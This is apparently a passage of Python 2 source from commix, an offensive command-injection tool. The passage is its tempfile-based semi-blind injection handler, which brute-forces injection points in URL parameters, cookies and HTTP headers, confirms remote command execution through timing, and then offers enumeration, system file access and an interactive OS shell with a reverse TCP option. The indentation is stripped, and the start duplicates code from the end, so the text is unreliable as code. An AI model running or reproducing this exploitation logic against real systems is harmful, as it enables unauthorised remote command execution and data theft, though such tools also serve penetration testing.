from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(
separator,
http_request_method)
whitespace = settings.WHITESPACES[
0]
response = cb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
# Export injection result
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
#break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
#Print logs notification message
#percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
